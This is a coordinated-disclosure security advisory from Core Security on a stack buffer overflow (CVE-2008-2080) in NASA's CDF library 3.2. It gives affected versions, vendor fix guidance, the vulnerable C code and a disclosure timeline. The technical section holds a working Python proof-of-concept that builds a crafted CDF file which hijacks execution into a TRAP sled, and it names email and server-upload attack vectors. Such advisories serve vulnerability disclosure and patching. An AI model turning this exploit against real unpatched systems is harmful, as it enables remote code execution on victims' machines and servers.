NASA's Common Data Format Buffer Overflow

Advisory ID Internal
CORE-2008-0326

Advisory Information:

Advisory ID: CORE-2008-0326
Advisory URL: https://www.coresecurity.com/?action=item&id=2260
Date published: 2008-05-05
Date of last update: 2008-05-05
Vendors contacted: GODDARD Space Flight Center
Release mode: Coordinated release

Vulnerability Information:

Class: Stack Overflow
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq Name: 29045
CVE Name: CVE-2008-2080

Vulnerability Description:

CDF [1] is a common data format developed by the NASA Goddard Space Flight Center. It is a conceptual data abstraction for storing, manipulating, and accessing multidimensional data sets. The CDF software package is used by hundreds of government agencies, universities, and private and commercial organizations as well as independent researchers on both national and international levels.

The CDF Library is vulnerable to a buffer overflow in the stack, which can be exploited by malicious remote attackers to compromise a user's system. The vulnerability is caused due to the CDF (src/lib/cdfread64.c) library not properly sanitizing the length tags on a CDF file before using it to copy data on a stack buffer. This can be exploited to get arbitrary code execution by opening a specially crafted file.

Vulnerable Packages:

  • CDF 3.2 and earlier.

Non-Vulnerable Packages:

  • CDF 3.2.1

Vendor Information, Solutions and Workarounds:

The CDF project has issued a security advisory describing this vulnerability http://cdf.gsfc.nasa.gov/CDF32_buffer_overflow.html, partially quoted below.

The libraries for the scientific data file format, Common Data Format (CDF) http://cdf.gsfc.nasa.gov/ version 3.2 and earlier, have the potential for a buffer overflow vulnerability when reading specially-crafted (invalid) CDF files. If successful, this could trigger execution of arbitrary code within the context of the CDF-reading program that could be exploited to compromise a system, or otherwise crash the program. While it's unlikely that you would open CDFs from untrusted sources, we recommend everyone upgrade to the latest CDF libraries on their systems, including the IDL and Matlab plugins. Most worrisome is any service that enables the general public to submit CDF files for processing.

The vulnerability is in the CDF library routines not properly checking the length tags on a CDF file before copying data to a stack buffer. Exploitation requires the user to explicitly open a specially-crafted file. CDF users should not open files from untrusted third parties until the patch is applied (and continue then to exercise normal caution for files from untrusted third parties).

CDF 3.2.1 addresses this vulnerability and introduces further usability fixes http://cdf.gsfc.nasa.gov/. Updates for Perl, IDL, Matlab and Java WebStart are also available. Java WebStart applications that refer to http://sscweb.gsfc.nasa.gov/skteditor/cdf/cdf-latest.jnlp, will automatically be updated to include this fix the next time the application is started while connected to the Internet.

Credits:

This vulnerability was discovered and researched by Alfredo Ortega, from CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.

Technical Description / Proof of Concept Code:

The CDF Library suffers from a buffer overflow in the Stack using a specially crafted (invalid) CDF input files. If successful, a malicious third party could trigger execution of arbitrary code within the context of the application using the library, or otherwise crash the whole application.

Exploitation of the CDF overflow problem requires the user to explicitly open a specially crafted file. The user should refrain from opening files from untrusted third parties or accessing untrusted Web sites until the patch is applied.

The vulnerability resides in the following code at src/lib/cdfread64.c. There, the function Read32s_64 reads data from a file into a buffer. The temp buffer has a size of MAX_READ32s, but the count parameter is never checked, and a stack overflow will happen if is it's bigger than MAX_READ32s.

57 STATICforIDL Logical Read32s_64 (fp, buffer, count) 58 vFILE *fp; 59 Int32 *buffer; 60 int count; 61 { 62 #if defined(NETWORKbyteORDERcpu) 63 if (count < 1) return TRUE; 64 if (!READv64(buffer,(size_t)4,(size_t)count,fp)) return FALSE; 65 #else 66 #define MAX_READ32s CDF_MAX_DIMS /* This must be the maximum of 67 CDF_MAX_DIMS and MAX_VXR_ENTRIES 68 (and for any other uses of 69 `Read32s'). */ 70 int i; Int32 temp[MAX_READ32s]; 71 if (count < 1) return TRUE; 72 if (!READv64(temp,(size_t)4,(size_t)count,fp)) return FALSE;

The function Read32s_64 is called by ReadGDR64, also at src/lib/cdfread64.c:

256 #if defined(STDARG) 257 STATICforIDL CDFstatus ReadGDR64 (vFILE *fp, OFF_T offset, ...) 258 #else 259 STATICforIDL CDFstatus ReadGDR64 (va_alist) 260 va_dcl 261 #endif 262 { . . . 301 if (!Read32_64(fp,&(fp->GDR64->rNumDims))) return CRE; 302 if (!Read32_64(fp,&(fp->GDR64->NzVars))) return CRE; 303 if (!Read64_64(fp,&(fp->GDR64->UIRhead))) return CRE; 304 if (!Read32_64(fp,&(fp->GDR64->rfuC))) return CRE; 305 if (!Read32_64(fp,&(fp->GDR64->rfuD))) return CRE; 306 if (!Read32_64(fp,&(fp->GDR64->rfuE))) return CRE; 307 if (!Read32s_64(fp,fp->GDR64->rDimSizes, 308 (int)fp->GDR64->rNumDims)) return CRE;

We can see that the vulnerable function is called at the line 307 using the variable fp->GDR64->rNumDims as the vulnerable count parameter. This variable is controlled by the attacker because is loaded from the file in the line 301, and is trivial to craft a CDF file that overwrite the return value on the stack and execute binary code. The following proof of concept is a python script that creates a CDF file that triggers the overflow and executes a TRAP instruction when loaded with various standard CDF tools, like cdfstats, cdfdump or cdfcvt.

## CDF 3.2 Stack Overflow PoC ## ## Alfredo Ortega, Core Security Exploit Writers Team (EWT) ## ## Work against: ## cdfstats, cdfdump and cdfcvt ## on the CDF 3.2 distribution compiled on Ubuntu 7.10 ## import struct trampoline=0x0810ca00 name="bad.cdf" buffer ='\xcd\xf3\x00\x01\x00\x00\xff\xff\x00\x00\x00\x00\x00\x00\x01\x38' buffer+='\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x40\x00\x00\x00\x03' buffer+='\x00\x00\x00\x01\x00\x00\x00\x09\x00\x00\x00\x03\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff' buffer+='\nCommon Data Format (CDF)\n' buffer+='(C) Copyright 1990-2006 NASA/GSFC\n' buffer+='Space Physics Data Facility\n' buffer+='NASA/Goddard Space Flight Center\n' buffer+='Greenbelt, Maryland 20771 USA\n' buffer+='(Internet -- [email protected])\n' buffer+='\x00'*0x40 buffer+='\x54\x00\x00\x00\x02\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x94\x00\x00\x00\x00' buffer+='\x00\x00\x05\xd0\x00\x00\x00\x00\x00\x00\x17\x7c\x00\x00\x00\x00' buffer+='\x00\x00\x00\x03\xff\xff\xff\xff\x00\x00\x01\x00\x00\x00\x00\x03' buffer+='\x00\x00\x00\x00\x00\x00\x0b\x4a\x00\x00\x00\x00\xff\xff\xff\xff' buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x01\x58\x00\x00\x00\x08' buffer+='\x00\x00\x00\x00\x00\x00\x02\xec\x00\x00\x00\x04\x00\x00\x00\x00' buffer+='\x00\x00\x00\x00\x00\x00\x0a\xae\x00\x00\x00\x00\x00\x00\x0a\xae' buffer+='\x00\x00\x00\x01\x00\x00\x00\x00' buffer+=struct.pack("<L",trampoline) buffer+='\xff\xff\xff\xff' buffer+='\xff\xff\xff\xff\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff' buffer+='\xff\xff\xff\xff\x00\x00\x00\x00\x54\x69\x6d\x65\x00\x00\x00\x00' file = open(name,"wb") file.write(buffer) file.write("\xcc"*5000000) file.close()

Besides the obvious client-side attack vector, where a file in CDF format is sent by mail to the victim to be opened by him, there are another, more serious, vectors where the attacker uploads a malformed CDF file to a server that automatically parses it (an example is the data translator web service in [2]), possibly leading to arbitrary code execution on the server side. For example a Java wrapper for the vulnerable CDF library was developed to use in other environments [3], by transitivity this wrapper is vulnerable too.

Report Timeline:

  • 2008-04-07: Initial notification sent to the vendor.
  • 2008-04-07: Vendor acknowledges and requests the advisory draft.
  • 2008-04-07: Core sends the draft of advisory CORE-2008-0326 to vendor.
  • 2008-04-07: Vendor acknowledges the draft saying that wants to coordinate and informs that fixes are been developed.
  • 2008-04-10: Core replies that is willing to coordinate the publication of CORE-2008-0326 and sends the estimated date of release.
  • 2008-04-23: Vendor confirms they are working on fixes for various platforms and plug-ins and requests a delay of the publication CORE-2008-0326 until May 5th.
  • 2008-04-23: Core confirms that the publication will be delayed until May 5th.
  • 2008-05-02: Vendor sends information for the "Vendor, Solutions and Workarounds Section" explaining all the fixes available.
  • 2008-05-05: Core requests vendor to update cross-reference information on the CDF website regarding advisory CORE-2008-0326.
  • 2008-05-05: Core publishes advisory CORE-2008-0326.

References:

[1] http://cdf.gsfc.nasa.gov/

[2] http://translators.gsfc.nasa.gov/home.jsp

[3] http://cdf.gsfc.nasa.gov/cdfjava_doc/cdf31/index.html

About CoreLabs:

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: https://www.coresecurity.com/core-labs.

About Core Security:

Core Security develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, Core Impact, is the most comprehensive product for performing enterprise security assurance testing. Core Impact evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. 

Disclaimer:

The contents of this advisory are copyright (c) 2008 Core Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

PGP/GPG Keys:

This advisory has been signed with the GPG key of Core Security advisories team.